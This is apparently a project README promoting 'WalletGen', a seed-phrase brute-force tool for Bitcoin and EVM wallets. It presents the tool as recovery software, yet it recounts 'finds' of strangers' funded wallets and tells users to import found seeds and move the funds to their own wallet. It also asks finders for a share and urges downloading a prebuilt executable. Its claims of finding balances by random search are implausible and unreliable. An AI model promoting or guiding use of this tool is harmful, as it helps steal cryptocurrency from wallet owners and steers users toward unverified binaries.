Need to recover your Ethereum wallet? WalletGen is an open-source, fast crypto wallet generator and seed phrase brute force tool. It can help you find and recover lost or inactive Bitcoin (BTC), Ethereum (ETH), BNB, Polygon (MATIC), and other EVM-compatible wallets with real-time balance checking and a high-performance C++ engine.
- How It Works
- Why WalletGen
- Features
- Download WalletGen
- Database Download
- The Program Found a Wallet - What Next?
- Recovery Your Bitcoin Wallet
- My Finds
- FAQ
- Build Instructions
- Donate
WalletGen generates wallets using BIP39, BIP44, and Bech32 for Bitcoin, and Keccak256 hashing for EVM-based chains like Ethereum.
The software compares generated addresses against known address databases or checks balances in real-time via public blockchain explorers.
Wallet Gen is built in C++ and is open-source, allowing anyone to access and modify the code. Compared to Python-based wallet generators, Wallet Gen boasts significantly higher wallet generation speeds, with performance primarily relying on your CPU & GPU.
Unlike Python-based brute force tools, WalletGen is written in C++ and optimized for multi-threaded CPU and GPU usage, delivering up to 10x faster performance. Whether you’re exploring lost wallets, verifying private key space, or recovering your own wallet, WalletGen gives you the power to do it efficiently and securely.
- Generate Cryptocurrency Wallets: Create wallets.
- Search for Wallets with Balance: Supports the search.
- Algorithm Support: Includes key algorithms.
- Database Integration: Leverage database features.
- High Speed: The software runs fast.
- Bitcoin Wallet Recovery: Recover Bitcoin wallets.
- Bitcoin (BTC)
- Ethereum (ETH)
- Binance Smart Chain (BNB)
- Any EVM-compatible chain
- Download Release
- Unpack anywhere
- Run
WalletGen.exe
Or Just Download Installer
Use wget or download Release for Linux
Wallet Gen enables you to search using brute force.
- Press key 3 in the menu or run start_search_btc.bat to search Bitcoin wallets.
- Press key 6 to search Bitcoin wallets using the database.
- Press key 5 or run start_search_evm.bat to search EVM wallets.
- Press key 6 to search EVM wallets using the database.
When the program finds a wallet:
- The search immediately stops.
- The wallet details are shown.
- The data is saved in the
found_wallets.txtfile.
- Import the mnemonic seed phrase from the found wallet into any compatible crypto wallet (such as Metamask, Trust Wallet, or Electrum).
- Once restored, you’ll be able to transfer the funds to your own wallet.
WalletGen recovers Bitcoin wallets by seed phrase.
If your seed phrase has missing words, use *.
Enter the full 12-word seed.
- Seed-phrase must contain exactly 12 words.
- Use only the * symbol.
- Searching for missing words may take considerable time.
- Successful recovery stops the program.
I’ve recovered two BTC wallets with a balance. The first had 0.000032 BTC, the second contained 0.0528 BTC (roughly $4800 at the time of discovery). Here’s the link to the wallet: bc1qk3m62hx2hh5mhvc0tj45f9xflzcnu0sur3rvay.
After a week of non-stop wallet searching, I finally found a wallet with 0.25 bitcoin ($19k). This is my 4th and biggest find of all time.
bc1qpm0k3kcmthwsa4zseh33g3hl7eju8u8nkt83kp
- Open the project file (
CryptoWalletGen.sln) in Visual Studio or any compatible C++ compiler. - Install the necessary dependencies and build the project.
> git clone https://github.com/microsoft/vcpkg
> .\vcpkg\bootstrap-vcpkg.bat
> .\vcpkg\vcpkg integrate install
> .\vcpkg\vcpkg install openssl:x64-windows- Start building the project.
You can download the WalletGen given on the release download page
You can download the current database given on the release page
Yes. WalletGen uses brute-force seed generation and a known-address database to help users potentially recover lost Bitcoin wallets.
Yes. WalletGen can generate BIP39 seed phrases and derive wallets for Bitcoin, Ethereum, and other EVM chains.
No. Searching through the database does not require an internet connection, as the wallet balance is already known.
Yes. WalletGen supports scanning for Ethereum wallets with balance using brute-force and a database of known addresses.
WalletGen is intended for educational and research purposes only. It should only be used on wallets you own or have permission to access.
- Search for missing words in a seed phrase. - Done!
Contributions are welcome! If you have ideas, bug reports, or want to contribute to the codebase, feel free to submit a pull request.
I encourage you, when you find a wallet with a balance, to send me a small portion as a thank you. This motivates me to keep working on the program!
BTC: bc1qeyrshy5ntsguwxe9m8tp2x2yqhddz7ymkj44h9
ETH: 0x76c2E75B92Eb340f01B378e332FC7d8954893693
This project uses code from the Trezor project. The code is licensed under the MIT License.
This project is licensed under the MIT License







